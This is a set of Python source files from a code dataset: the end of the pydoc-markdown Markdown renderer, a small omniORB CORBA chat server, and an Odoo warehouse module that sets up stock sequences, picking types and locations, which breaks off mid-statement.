files.\n\n ### Options\n \"\"\"\n\n #: The name of the file to render to. If no file is specified, it will\n #: render to stdout.\n filename: t.Optional[str] = None\n\n #: The encoding of the output file. This is ignored when rendering to\n #: stdout.\n encoding: str = \"utf-8\"\n\n #: If enabled, inserts anchors before Markdown headers to ensure that\n #: links to the header work. This is enabled by default.\n insert_header_anchors: bool = True\n\n #: Generate HTML headers instead of Mearkdown headers. This is disabled\n #: by default.\n html_headers: bool = False\n\n #: Render names in headers as code (using backticks or `` tags,\n #: depending on #html_headers). This is enabled by default.\n code_headers: bool = False\n\n #: Generate descriptive class titles by adding the word \"Objects\" if set to `True`. Otherwise,\n #: it can be a string that is appended or prepended (appended if the string begins with `$`).\n #: the class name. This is enabled by default.\n descriptive_class_title: t.Union[bool, str] = True\n\n #: Generate descriptivie module titles by adding the word \"Module\" before\n #: the module name. This is enabled by default.\n descriptive_module_title: bool = False\n\n #: Add the module name as a prefix to class & method names. This module name is\n #: also rendered as code if #code_headers is enabled. This is enabled\n #: by default.\n add_module_prefix: bool = True\n\n #: Add the class name as a prefix to method names. This class name is\n #: also rendered as code if #code_headers is enabled. This is enabled\n #: by default.\n add_method_class_prefix: bool = False\n\n #: Add the class name as a prefix to member names. This is enabled by\n #: default.\n add_member_class_prefix: bool = False\n\n #: Add the full module name as a prefix to the title of the header.\n #: This is disabled by default.\n add_full_prefix: bool = False\n\n #: If #add_full_prefix is enabled, this will result in the prefix to\n #: be wrapped in a `` tag.\n sub_prefix: bool = False\n\n #: Render the definition of data members as a code block. This is disabled\n #: by default.\n data_code_block: bool = False\n\n #: Max length of expressions. If this limit is exceeded, the remaining\n #: characters will be replaced with three dots. This is set to 100 by\n #: default.\n data_expression_maxlength: int = 100\n\n #: Render the class signature as a code block. This includes the \"class\"\n #: keyword, the class name and its bases. This is enabled by default.\n classdef_code_block: bool = True\n\n #: Render decorators before class definitions.\n classdef_with_decorators: bool = True\n\n #: Render classdef and function signature blocks in the Python help()\n #: style.\n signature_python_help_style: bool = False\n\n #: Render the function signature as a code block. This includes the \"def\"\n #: keyword, the function name and its arguments. This is enabled by\n #: default.\n signature_code_block: bool = True\n\n #: Render the function signature in the header. This is disabled by default.\n signature_in_header: bool = False\n\n #: Render the vertical bar '|' before function signature. This is enabled by default.\n signature_with_vertical_bar: bool = False\n\n #: Include the \"def\" keyword in the function signature. This is enabled\n #: by default.\n signature_with_def: bool = True\n\n #: Render the class name in the code block for function signature. Note\n #: that this results in invalid Python syntax to be rendered. This is\n #: disabled by default.\n signature_class_prefix: bool = False\n\n #: Render decorators before function definitions.\n signature_with_decorators: bool = True\n\n #: Render type hints for data elements in the header.\n render_typehint_in_data_header: bool = False\n\n #: Add the string \"python\" after the backticks for code blocks. This is\n #: enabled by default.\n code_lang: bool = True\n\n #: Render title of page at the beginning of the file.\n render_page_title: bool = False\n\n #: Render a table of contents at the beginning of the file.\n render_toc: bool = False\n\n #: The title of the \"Table of Contents\" header.\n render_toc_title: str = \"Table of Contents\"\n\n #: The maximum depth of the table of contents. Defaults to 2.\n toc_maxdepth: int = 2\n\n #: Render module headers. This is enabled by default.\n render_module_header: bool = True\n\n #: Custom template for module header.\n render_module_header_template: str = \"\"\n\n #: Render docstrings as blockquotes. This is disabled by default.\n docstrings_as_blockquote: bool = False\n\n #: Use a fixed header level for every kind of API object. The individual\n #: levels can be defined with #header_level_by_type.\n use_fixed_header_levels: bool = True\n\n #: Fixed header levels by API object type.\n header_level_by_type: t.Dict[str, int] = dataclasses.field(\n default_factory=lambda: {\n \"Module\": 1,\n \"Class\": 2,\n \"Method\": 4,\n \"Function\": 4,\n \"Variable\": 4,\n }\n )\n\n #: A plugin that implements the #SourceLinker interface to provide links to the\n #: source code of API objects. If this field is specified, the renderer will\n #: place links to the source code in the generated Markdown files.\n source_linker: t.Optional[SourceLinker] = None\n\n #: Allows you to define the position of the \"view source\" link in the Markdown\n #: file if a #source_linker is configured.\n # TODO: Validator.choices([\"after signature\", \"before signature\"])\n source_position: str = \"after signature\"\n\n #: Allows you to override how the \"view source\" link is rendered into the Markdown\n #: file if a #source_linker is configured. The default is `[[view_source]]({url})`.\n source_format: str = \"[[view_source]]({url})\"\n\n #: Escape html in docstring. Default to False.\n escape_html_in_docstring: bool = False\n\n #: Render Novella `@anchor` tags before headings.\n render_novella_anchors: bool = False\n\n #: Format code rendered into Markdown code blocks with YAPF.\n format_code: bool = True\n\n #: The style to format code as. This can be a YAPF builtin style name or point to\n #: a file relative to the context directory (usually the working directory).\n format_code_style: str = \"pep8\"\n\n def __post_init__(self) -> None:\n self._resolver = MarkdownReferenceResolver()\n\n def _is_method(self, obj: docspec.ApiObject) -> bool:\n return is_method(obj)\n\n def _format_arglist(self, func: docspec.Function) -> str:\n args = func.args[:]\n if self._is_method(func) and args and args[0].name == \"self\":\n args.pop(0)\n return format_arglist(args)\n\n def _render_toc(self, fp: t.TextIO, level: int, obj: docspec.ApiObject):\n if level > self.toc_maxdepth:\n return\n object_id = self._resolver.generate_object_id(obj)\n title = self._escape(obj.name)\n if not self.add_module_prefix and isinstance(obj, docspec.Module):\n title = title.split(\".\")[-1]\n fp.write(\" \" * level + \"* [{}](#{})\\n\".format(title, object_id))\n level += 1\n for child in getattr(obj, \"members\", []):\n self._render_toc(fp, level, child)\n\n def _render_header(self, fp: t.TextIO, level: int, obj: docspec.ApiObject):\n if self.render_module_header_template and isinstance(obj, docspec.Module):\n fp.write(\n self.render_module_header_template.format(\n module_name=obj.name, relative_module_name=obj.name.rsplit(\".\", 1)[-1]\n )\n )\n return\n\n object_id = self._resolver.generate_object_id(obj)\n if self.use_fixed_header_levels:\n # Read the header level based on the API object type. The default levels defined\n # in the field will act as a first fallback, the level of the object inside it's\n # hierarchy is the final fallback.\n header_levels = {\n **type(self).__dataclass_fields__[\"header_level_by_type\"].default_factory(), # type: ignore\n **self.header_level_by_type,\n }\n # Backwards compat for when we used \"Data\" instead of \"Variable\" which mirrors the docspec API\n header_levels[\"Variable\"] = header_levels.get(\"Data\", header_levels[\"Variable\"])\n\n type_name = \"Method\" if self._is_method(obj) else type(obj).__name__\n level = header_levels.get(type_name, level)\n if self.insert_header_anchors and not self.html_headers:\n fp.write('\\n\\n'.format(object_id))\n if self.html_headers:\n header_template = '{{title}}'.format(level, object_id)\n else:\n header_template = level * \"#\" + \" {title}\"\n if self.render_novella_anchors:\n fp.write(f\"@anchor pydoc:\" + \".\".join(x.name for x in obj.path) + \"\\n\")\n fp.write(header_template.format(title=self._get_title(obj)))\n fp.write(\"\\n\\n\")\n\n def _format_decorations(self, decorations: t.List[docspec.Decoration]) -> t.Iterable[str]:\n for dec in decorations:\n yield \"@{}{}\\n\".format(dec.name, dec.args or \"\")\n\n def _yapf_code(self, code: str) -> str:\n if not self.format_code:\n return code\n style_file = Path(self._context.directory) / self.format_code_style\n style = str(style_file) if style_file.is_file() else self.format_code_style\n return FormatCode(code, style_config=style)[0]\n\n def _format_function_signature(\n self, func: docspec.Function, override_name: str | None = None, add_method_bar: bool = True\n ) -> str:\n parts: t.List[str] = []\n if self.signature_with_decorators:\n parts += self._format_decorations(func.decorations or [])\n if self.signature_python_help_style and not self._is_method(func):\n parts.append(\"{} = \".format(dotted_name(func)))\n parts += [x + \" \" for x in func.modifiers or []]\n if self.signature_with_def:\n parts.append(\"def \")\n if self.signature_class_prefix and self._is_method(func):\n parent = func.parent\n assert parent, func\n parts.append(parent.name + \".\")\n parts.append((override_name or func.name))\n parts.append(format_function_signature(func, self._is_method(func)))\n result = \"\".join(parts)\n result = self._yapf_code(result + \": pass\").rpartition(\":\")[0].strip()\n\n if add_method_bar and self._is_method(func):\n result = \"\\n\".join(\" | \" + l for l in result.split(\"\\n\"))\n return result\n\n def _format_classdef_signature(self, cls: docspec.Class) -> str:\n bases = \", \".join(map(str, cls.bases or []))\n if cls.metaclass:\n if cls.bases:\n bases += \", \"\n bases += \"metaclass=\" + str(cls.metaclass)\n code = \"class {}({})\".format(cls.name, bases)\n if self.signature_python_help_style:\n code = dotted_name(cls) + \" = \" + code\n code = self._yapf_code(code + \": pass\").rpartition(\":\")[0].strip()\n\n if cls.decorations and self.classdef_with_decorators:\n code = \"\\n\".join(self._format_decorations(cls.decorations)) + code\n return code\n\n def _format_data_signature(self, data: docspec.Variable) -> str:\n expr = str(data.value)\n code = self._yapf_code(data.name + \" = \" + expr).strip()\n if len(code) > self.data_expression_maxlength:\n code = code[: self.data_expression_maxlength] + \" ...\"\n return code\n\n def _render_signature_block(self, fp: t.TextIO, obj: docspec.ApiObject):\n if self.classdef_code_block and isinstance(obj, docspec.Class):\n code = self._format_classdef_signature(obj)\n elif self.signature_code_block and isinstance(obj, docspec.Function):\n code = self._format_function_signature(obj, add_method_bar=self.signature_with_vertical_bar)\n elif self.data_code_block and isinstance(obj, docspec.Variable):\n code = self._format_data_signature(obj)\n else:\n return\n fp.write(\"```{}\\n\".format(\"python\" if self.code_lang else \"\"))\n fp.write(code)\n fp.write(\"\\n```\\n\\n\")\n\n def _render_object(self, fp: t.TextIO, level: int, obj: docspec.ApiObject):\n if not isinstance(obj, docspec.Module) or self.render_module_header:\n self._render_header(fp, level, obj)\n\n render_view_source = not isinstance(obj, (docspec.Module, docspec.Variable))\n\n if render_view_source:\n url = self.source_linker.get_source_url(obj) if self.source_linker else None\n source_string = self.source_format.replace(\"{url}\", str(url)) if url else None\n if source_string and self.source_position == \"before signature\":\n fp.write(source_string + \"\\n\\n\")\n\n self._render_signature_block(fp, obj)\n\n if render_view_source:\n if source_string and self.source_position == \"after signature\":\n fp.write(source_string + \"\\n\\n\")\n\n if obj.docstring:\n docstring = (\n escape_except_blockquotes(obj.docstring.content)\n if self.escape_html_in_docstring\n else obj.docstring.content\n )\n lines = docstring.split(\"\\n\")\n if self.docstrings_as_blockquote:\n lines = [\"> \" + x for x in lines]\n fp.write(\"\\n\".join(lines))\n fp.write(\"\\n\\n\")\n\n def _render_recursive(self, fp: t.TextIO, level: int, obj: docspec.ApiObject):\n self._render_object(fp, level, obj)\n level += 1\n for member in getattr(obj, \"members\", []):\n self._render_recursive(fp, level, member)\n\n def _get_title(self, obj: docspec.ApiObject) -> str:\n title = obj.name\n if (self.add_method_class_prefix and self._is_method(obj)) or (\n self.add_member_class_prefix and isinstance(obj, docspec.Variable)\n ):\n title = (obj.parent.name + \".\" + title) if obj.parent else title\n elif self.add_full_prefix and not self._is_method(obj):\n title = dotted_name(obj)\n if not self.add_module_prefix and isinstance(obj, docspec.Module):\n title = title.split(\".\")[-1]\n if isinstance(obj, docspec.Function):\n if self.signature_in_header:\n title += \"(\" + self._format_arglist(obj) + \")\"\n\n if isinstance(obj, docspec.Variable) and obj.datatype and self.render_typehint_in_data_header:\n if self.code_headers:\n title += f\": {obj.datatype}\"\n elif self.html_headers:\n title += f\": {obj.datatype}\"\n else:\n title += f\": `{obj.datatype}`\"\n\n if self.code_headers:\n if self.html_headers or self.sub_prefix:\n if self.sub_prefix and \".\" in title:\n prefix, title = title.rpartition(\".\")[::2]\n title = \"{}.{}\".format(prefix, title)\n title = \"{}\".format(title)\n else:\n title = \"`{}`\".format(title)\n elif not self.html_headers:\n title = self._escape(title)\n if isinstance(obj, docspec.Module) and self.descriptive_module_title:\n title = \"Module \" + title\n if isinstance(obj, docspec.Class) and self.descriptive_class_title:\n if self.descriptive_class_title is True:\n title += \" Objects\"\n elif self.descriptive_class_title is False:\n pass\n elif self.descriptive_class_title.startswith(\"$\"):\n title += self.descriptive_class_title[1:]\n else:\n title = self.descriptive_class_title + title\n return title\n\n def _escape(self, s):\n return s.replace(\"_\", \"\\\\_\").replace(\"*\", \"\\\\*\")\n\n def render_to_string(self, modules: t.List[docspec.Module]) -> str:\n fp = io.StringIO()\n self.render_single_page(fp, modules)\n return fp.getvalue()\n\n def _render_to_stream(self, modules: t.List[docspec.Module], stream: t.TextIO):\n return self.render_single_page(stream, modules)\n\n # SinglePageRenderer\n\n def render_single_page(\n self, fp: t.TextIO, modules: t.List[docspec.Module], page_title: t.Optional[str] = None\n ) -> None:\n if self.render_page_title:\n fp.write(\"# {}\\n\\n\".format(page_title))\n\n if self.render_toc:\n if self.render_toc_title:\n if self.render_page_title:\n # set to level2 since level1 is page title\n fp.write(\"## {}\\n\\n\".format(self.render_toc_title))\n else:\n fp.write(\"# {}\\n\\n\".format(self.render_toc_title))\n\n for m in modules:\n self._render_toc(fp, 0, m)\n fp.write(\"\\n\")\n for m in modules:\n self._render_recursive(fp, 1, m)\n\n # SingleObjectRenderer\n\n def render_object(self, fp: t.TextIO, obj: docspec.ApiObject, options: t.Dict[str, t.Any]) -> None:\n self._render_recursive(fp, 0, obj)\n\n # Renderer\n\n def get_resolver(self, modules: t.List[docspec.Module]) -> t.Optional[Resolver]:\n \"\"\"\n Returns a simple #Resolver implementation. Finds cross-references in the same file.\n \"\"\"\n\n return self._resolver\n\n def render(self, modules: t.List[docspec.Module]) -> None:\n if self.filename is None:\n self._render_to_stream(modules, sys.stdout)\n else:\n with io.open(self.filename, \"w\", encoding=self.encoding) as fp:\n self._render_to_stream(modules, t.cast(t.TextIO, fp))\n\n # PluginBase\n\n def init(self, context: Context) -> None:\n if self.source_linker:\n self.source_linker.init(context)\n self._context = context\n\n\n@dataclasses.dataclass\nclass MarkdownReferenceResolver(Resolver, ResolverV2):\n local: bool = True\n global_: bool = False\n\n def generate_object_id(self, obj: docspec.ApiObject) -> str:\n return \".\".join(o.name for o in obj.path)\n\n def _resolve_reference_in_members(\n self, obj: t.Optional[docspec.ApiObject], ref: t.List[str]\n ) -> t.Optional[docspec.ApiObject]:\n if not obj:\n return None\n for part_name in ref:\n obj = docspec.get_member(obj, part_name)\n if not obj:\n return None\n return obj\n\n def _resolve_local_reference(\n self, scope: docspec.ApiObject, ref_split: t.List[str]\n ) -> t.Optional[docspec.ApiObject]:\n obj: t.Optional[docspec.ApiObject] = scope\n while obj:\n resolved = self._resolve_reference_in_members(obj, ref_split)\n if resolved:\n return resolved\n obj = obj.parent\n return None\n\n # Resolver\n\n def resolve_ref(self, scope: docspec.ApiObject, ref: str) -> t.Optional[str]:\n target = self._resolve_local_reference(scope, ref.split(\".\"))\n if target:\n return \"#\" + self.generate_object_id(target)\n return None\n\n # ResolverV2\n\n def resolve_reference(self, suite: ApiSuite, scope: docspec.ApiObject, ref: str) -> t.Optional[docspec.ApiObject]:\n \"\"\"Resolves the reference by searching in the members of *scope* or any of its parents.\"\"\"\n\n # TODO (@NiklasRosenstein): Support resolving indirections\n\n ref_split = ref.split(\".\")\n\n resolved = self._resolve_local_reference(scope, ref_split)\n if resolved:\n return resolved\n\n if self.global_:\n\n def _recurse(obj: docspec.ApiObject) -> t.Optional[docspec.ApiObject]:\n resolved = self._resolve_reference_in_members(obj, ref_split)\n if resolved:\n return resolved\n if isinstance(obj, docspec.HasMembers):\n for member in obj.members:\n resolved = _recurse(member)\n if resolved:\n return resolved\n return None\n\n for module in suite:\n resolved = _recurse(module)\n if resolved:\n return resolved\n\n return None\n","repo_name":"NiklasRosenstein/pydoc-markdown","sub_path":"src/pydoc_markdown/contrib/renderers/markdown.py","file_name":"markdown.py","file_ext":"py","file_size_in_byte":21380,"program_lang":"python","lang":"en","doc_type":"code","stars":423,"dataset":"github-code","pt":"38"} +{"seq_id":"4989528501","text":"from omniORB import CORBA, PortableServer\nimport ChatApp, ChatApp__POA\n\nclass ChatServant(ChatApp__POA.Chat):\n def __init__(self):\n self.users = {}\n self.messages = []\n\n def sendMessage(self, username, message):\n formatted_message = f\"{username}: {message}\"\n print(formatted_message)\n self.messages.append(formatted_message)\n\n def receiveMessage(self):\n if self.messages:\n return self.messages.pop(0)\n else:\n return \"No messages\"\n\n def joinChat(self, username):\n self.users[username] = self._default_POA().servant_to_reference(self._this())\n print(f\"{username} joined the chat.\")\n\n def leaveChat(self, username):\n del self.users[username]\n print(f\"{username} left the chat.\")\n\n def listUsers(self):\n return ', '.join(self.users.keys())\n\n def sendDirectMessage(self, sender, receiver, message):\n if receiver in self.users:\n receiver_ref = self.users[receiver]\n receiver_chat = receiver_ref._narrow(ChatApp__POA.Chat)\n if receiver_chat:\n receiver_chat.receiveMessage(f\"{sender} (private): {message}\")\n else:\n print(f\"Error: {receiver} is not a valid Chat reference.\")\n else:\n print(f\"Error: {receiver} is not online.\")\n\norb = CORBA.ORB_init([], CORBA.ORB_ID)\npoa = orb.resolve_initial_references(\"RootPOA\")\npoaManager = poa._get_the_POAManager()\npoaManager.activate()\n\nchatServant = ChatServant()\nchatObject = chatServant._this()\n\nprint(\"Chat Server running...\")\nprint(\"Object reference:\", orb.object_to_string(chatObject))\n\norb.run()\n\n","repo_name":"EsdrasSouza7/TrabalhoChatORB","sub_path":"trabalhoChatORB/TestdoChatGPT2.ERRO/Chat_server.py","file_name":"Chat_server.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"37533301828","text":"from openerp.osv import osv, fields\nfrom openerp import SUPERUSER_ID, api\nfrom openerp.tools.translate import _\nimport code\nfrom datetime import datetime\nimport time\nfrom dateutil.relativedelta import relativedelta\n\nclass dym_warehouse(osv.osv):\n _inherit = 'stock.warehouse'\n \n def _get_default_branch(self,cr,uid,ids,context=None):\n user_obj = self.pool.get('res.users') \n user_browse = user_obj.browse(cr,uid,uid)\n branch_ids = False\n branch_ids = user_browse.branch_ids and len(user_browse.branch_ids) == 1 and user_browse.branch_ids[0].id or False \n return branch_ids \n \n _columns = {\n 'branch_id': fields.many2one('dym.branch', 'Branch'),\n 'code': fields.char('Short Name', size=100, required=True, help=\"Short name used to identify your warehouse\"),\n 'rel_code': fields.related('code', string='Short Name', type=\"char\", readonly=\"True\"),\n 'interbranch_in_type_id': fields.many2one('stock.picking.type', 'Interbranch In Type', ondelete='restrict'),\n 'interbranch_out_type_id': fields.many2one('stock.picking.type', 'Interbranch Out Type', ondelete='restrict'),\n 'in_type_id': fields.many2one('stock.picking.type', 'In Type', ondelete='restrict'),\n 'out_type_id': fields.many2one('stock.picking.type', 'Out Type', ondelete='restrict'),\n 'int_type_id': fields.many2one('stock.picking.type', 'Internal Type', ondelete='restrict'),\n }\n\n _defaults = {\n 'branch_id': _get_default_branch,\n } \n \n def create_sequences_and_picking_types(self, cr, uid, warehouse, context=None):\n seq_obj = self.pool.get('ir.sequence')\n picking_type_obj = self.pool.get('stock.picking.type')\n data_obj = self.pool.get('ir.model.data')\n obj_loc = self.pool.get('stock.location')\n #create new sequences\n in_seq_id = seq_obj.create(cr, uid, values={'name': warehouse.name + _(' Sequence in'), 'prefix': 'GRN/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n out_seq_id = seq_obj.create(cr, uid, values={'name': warehouse.name + _(' Sequence out'), 'prefix': 'SJ/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n pack_seq_id = seq_obj.create(cr, uid, values={'name': warehouse.name + _(' Sequence packing'), 'prefix': 'PACK/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n pick_seq_id = seq_obj.create(cr, uid, values={'name': warehouse.name + _(' Sequence picking'), 'prefix': 'PICK/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n int_seq_id = seq_obj.create(cr, uid, values={'name': warehouse.name + _(' Sequence internal'), 'prefix': 'MU/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n inter_in_seq_id = seq_obj.create(cr, uid, values={'name': warehouse.name + _(' Sequence interbranch in'), 'prefix': 'STM/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n inter_out_seq_id = seq_obj.create(cr, uid, values={'name': warehouse.name + _(' Sequence interbranch out'), 'prefix': 'SJM/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, context=context)\n\n wh_stock_loc = warehouse.lot_stock_id\n now = datetime.today()\n wh_stock_loc.write({\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'end_date': datetime(now.year+2, now.month, now.day),\n 'maximum_qty': -1})\n wh_input_stock_loc = warehouse.wh_input_stock_loc_id\n wh_output_stock_loc = warehouse.wh_output_stock_loc_id\n wh_pack_stock_loc = warehouse.wh_pack_stock_loc_id\n\n #fetch customer and supplier locations, for references\n customer_loc, supplier_loc = self._get_partner_locations(cr, uid, warehouse.id, context=context)\n customer_loc_id = obj_loc.search(cr, uid, [\n ('location_id','=',customer_loc.id),\n ('branch_id','=',warehouse.branch_id.id)\n ])[0]\n supplier_loc_id = obj_loc.search(cr, uid, [\n ('location_id','=',supplier_loc.id),\n ('branch_id','=',warehouse.branch_id.id)\n ])[0]\n transit_loc_id = obj_loc.search(cr, uid, [\n ('location_id','=',data_obj.get_object_reference(cr, uid, 'stock', 'stock_location_inter_wh')[1]),\n ('branch_id','=',warehouse.branch_id.id),\n ('usage','=','transit')\n ])[0]\n\n #create in, out, internal picking types for warehouse\n input_loc = wh_input_stock_loc\n if warehouse.reception_steps == 'one_step':\n input_loc = wh_stock_loc\n output_loc = wh_output_stock_loc\n if warehouse.delivery_steps == 'ship_only':\n output_loc = wh_stock_loc\n\n #choose the next available color for the picking types of this warehouse\n color = 0\n available_colors = [c%9 for c in range(3, 12)] # put flashy colors first\n all_used_colors = self.pool.get('stock.picking.type').search_read(cr, uid, [('warehouse_id', '!=', False), ('color', '!=', False)], ['color'], order='color')\n #don't use sets to preserve the list order\n for x in all_used_colors:\n if x['color'] in available_colors:\n available_colors.remove(x['color'])\n if available_colors:\n color = available_colors[0]\n\n #order the picking types with a sequence allowing to have the following suit for each warehouse: reception, internal, pick, pack, ship. \n max_sequence = self.pool.get('stock.picking.type').search_read(cr, uid, [], ['sequence'], order='sequence desc')\n max_sequence = max_sequence and max_sequence[0]['sequence'] or 0\n\n in_type_id = picking_type_obj.create(cr, uid, vals={\n 'name': _('Receipts'),\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'code': 'incoming',\n 'sequence_id': in_seq_id,\n 'default_location_src_id': supplier_loc_id,\n 'default_location_dest_id': input_loc.id,\n 'sequence': max_sequence + 1,\n 'color': color}, context=context)\n seq_obj.browse(cr, uid, in_seq_id).write({'picking_type_id':in_type_id})\n out_type_id = picking_type_obj.create(cr, uid, vals={\n 'name': _('Delivery Orders'),\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'code': 'outgoing',\n 'sequence_id': out_seq_id,\n 'return_picking_type_id': in_type_id,\n 'default_location_src_id': output_loc.id,\n 'default_location_dest_id': customer_loc_id,\n 'sequence': max_sequence + 4,\n 'color': color}, context=context)\n seq_obj.browse(cr, uid, out_seq_id).write({'picking_type_id':out_type_id})\n picking_type_obj.write(cr, uid, [in_type_id], {'return_picking_type_id': out_type_id}, context=context)\n int_type_id = picking_type_obj.create(cr, uid, vals={\n 'name': _('Internal Transfers'),\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'code': 'internal',\n 'sequence_id': int_seq_id,\n 'default_location_src_id': wh_stock_loc.id,\n 'default_location_dest_id': wh_stock_loc.id,\n 'active': True,\n 'sequence': max_sequence + 2,\n 'color': color}, context=context)\n seq_obj.browse(cr, uid, int_seq_id).write({'picking_type_id':int_type_id})\n pack_type_id = picking_type_obj.create(cr, uid, vals={\n 'name': _('Pack'),\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'code': 'internal',\n 'sequence_id': pack_seq_id,\n 'default_location_src_id': wh_pack_stock_loc.id,\n 'default_location_dest_id': output_loc.id,\n 'active': warehouse.delivery_steps == 'pick_pack_ship',\n 'sequence': max_sequence + 3,\n 'color': color}, context=context)\n seq_obj.browse(cr, uid, pack_seq_id).write({'picking_type_id':pack_type_id})\n pick_type_id = picking_type_obj.create(cr, uid, vals={\n 'name': _('Pick'),\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'code': 'internal',\n 'sequence_id': pick_seq_id,\n 'default_location_src_id': wh_stock_loc.id,\n 'default_location_dest_id': wh_pack_stock_loc.id,\n 'active': warehouse.delivery_steps != 'ship_only',\n 'sequence': max_sequence + 2,\n 'color': color}, context=context)\n seq_obj.browse(cr, uid, pick_seq_id).write({'picking_type_id':pick_type_id})\n interbranch_in_type_id = picking_type_obj.create(cr, uid, vals={\n 'name': _('Interbranch Receipts'),\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'code': 'interbranch_in',\n 'sequence_id': inter_in_seq_id,\n 'default_location_src_id': transit_loc_id,\n 'default_location_dest_id': wh_stock_loc.id,\n 'active': True,\n 'sequence': max_sequence + 2,\n 'color': color}, context=context)\n seq_obj.browse(cr, uid, inter_in_seq_id).write({'picking_type_id':interbranch_in_type_id})\n interbranch_out_type_id = picking_type_obj.create(cr, uid, vals={\n 'name': _('Interbranch Deliveries'),\n 'branch_id': warehouse.branch_id.id,\n 'warehouse_id': warehouse.id,\n 'code': 'interbranch_out',\n 'sequence_id': inter_out_seq_id,\n 'default_location_src_id': wh_stock_loc.id,\n 'default_location_dest_id': transit_loc_id,\n 'active': True,\n 'sequence': max_sequence + 2,\n 'color': color}, context=context)\n seq_obj.browse(cr, uid, inter_out_seq_id).write({'picking_type_id':interbranch_out_type_id})\n\n #write picking types on WH\n vals = {\n 'in_type_id': in_type_id,\n 'out_type_id': out_type_id,\n 'pack_type_id': pack_type_id,\n 'pick_type_id': pick_type_id,\n 'int_type_id': int_type_id,\n 'interbranch_in_type_id': interbranch_in_type_id,\n 'interbranch_out_type_id': interbranch_out_type_id,\n }\n obj_branch = self.pool.get('dym.branch').browse(cr, uid, warehouse.branch_id.id)\n if not obj_branch.warehouse_id :\n obj_branch.write({'warehouse_id':warehouse.id})\n return super(dym_warehouse, self).write(cr, uid, warehouse.id, vals=vals, context=context)\n \n def create(self, cr, uid, vals, context=None):\n if context is None:\n context = {}\n if vals is None:\n vals = {}\n \n data_obj = self.pool.get('ir.model.data')\n location_obj = self.pool.get('stock.location')\n obj_branch = self.pool.get('dym.branch').browse(cr, uid, vals['branch_id'])\n\n partner_locations = [\n {'name': _(vals.get('code')) + _('-Customers'), 'usage': 'customer', 'field': 'lot_stock_id', 'location_id': data_obj.get_object_reference(cr, uid, 'stock', 'stock_location_customers')[1]},\n {'name': _(vals.get('code')) + _('-Suppliers'), 'usage': 'supplier', 'field': 'lot_stock_id', 'location_id': data_obj.get_object_reference(cr, uid, 'stock', 'stock_location_suppliers')[1]},\n {'name': _(vals.get('code')) + _('-Transit'), 'usage': 'transit', 'field': 'lot_stock_id', 'location_id': data_obj.get_object_reference(cr, uid, 'stock', 'stock_location_inter_wh')[1]},\n {'name': _(vals.get('code')) + _('-Inventory Loss'), 'usage': 'inventory', 'field': 'lot_stock_id', 'location_id': data_obj.get_object_reference(cr, uid, 'stock', 'location_inventory')[1]},\n {'name': _(vals.get('code')) + _('-Scrapped'), 'usage': 'inventory', 'field': 'lot_stock_id', 'location_id': data_obj.get_object_reference(cr, uid, 'stock', 'stock_location_scrapped')[1]},\n ]\n loc_ids = []\n for values in partner_locations:\n part_vals = {\n 'name': values['name'],\n 'branch_id': _(vals.get('branch_id')),\n 'usage': values['usage'],\n 'location_id': values['location_id'],\n 'active': True,\n 'warehouse_id': _(vals.get('id')),\n 'maximum_qty': -1,\n 'start_date': datetime.now(),\n 'end_date': datetime.now() + relativedelta(years=2),\n }\n if vals.get('company_id'):\n part_vals['company_id'] = vals.get('company_id')\n location_id = location_obj.create(cr, uid, part_vals, context=context)\n cr.execute('UPDATE stock_location '\\\n 'SET branch_id=%s '\\\n 'WHERE id = %s',\n (_(vals.get('branch_id')),location_id,))\n loc_ids.append(location_id)\n \n result = super(dym_warehouse, self).create(cr, uid, vals, context=context)\n loc_stock_id = location_obj.search(cr, uid, [('name','=',vals['code'])])\n if len(loc_stock_id) > 1 :\n try :\n for x in loc_stock_id :\n loc_stock = location_obj.browse(cr, uid, x)\n if not loc_stock.branch_id :\n loc_stock.write({'branch_id':_(vals.get('branch_id')), 'maximum_qty': -1, 'end_date': datetime.now() + relativedelta(years=2)})\n cr.execute('UPDATE stock_location '\\\n 'SET branch_id=%s '\\\n 'WHERE id = %s',\n (_(vals.get('branch_id')),loc_stock.id,))\n else :\n loc_stock.unlink()\n except :\n cr.commit()\n else :\n loc_stock = location_obj.browse(cr, uid, loc_stock_id)\n loc_stock.write({'branch_id':_(vals.get('branch_id')), 'maximum_qty': -1, 'end_date': datetime.now() + relativedelta(years=2)})\n cr.execute('UPDATE stock_location '\\\n 'SET branch_id=%s '\\\n 'WHERE id = %s',\n (_(vals.get('branch_id')),loc_stock.id,))\n for x in loc_ids :\n location_obj.write(cr, uid, x, {'warehouse_id':result})\n return result\n \n def upper_change(self, cr, uid, ids, name, code, context=None):\n value = {}\n if name :\n value['name'] = name.upper()\n if code :\n value['code'] = code.upper()\n return {'value':value}\n \n def write(self, cr, uid, ids, vals, context=None):\n result = super(dym_warehouse, self).write(cr, uid, ids, vals=vals, context=context)\n if context is None:\n context = {}\n if isinstance(ids, (int, long)):\n ids = [ids]\n seq_obj = self.pool.get('ir.sequence')\n context_with_inactive = context.copy()\n context_with_inactive['active_test'] = False\n for warehouse in self.browse(cr, uid, ids, context=context_with_inactive):\n if vals.get('code') or vals.get('name'):\n name = warehouse.name\n #rename sequence\n if vals.get('name'):\n name = vals.get('name', warehouse.name)\n if warehouse.in_type_id:\n seq_obj.write(cr, uid, warehouse.in_type_id.sequence_id.id, {'name': warehouse.name + _(' Sequence in'), 'prefix': 'GRN/' + warehouse.code + '/%(y)s/%(month)s/', 'padding': 5}, 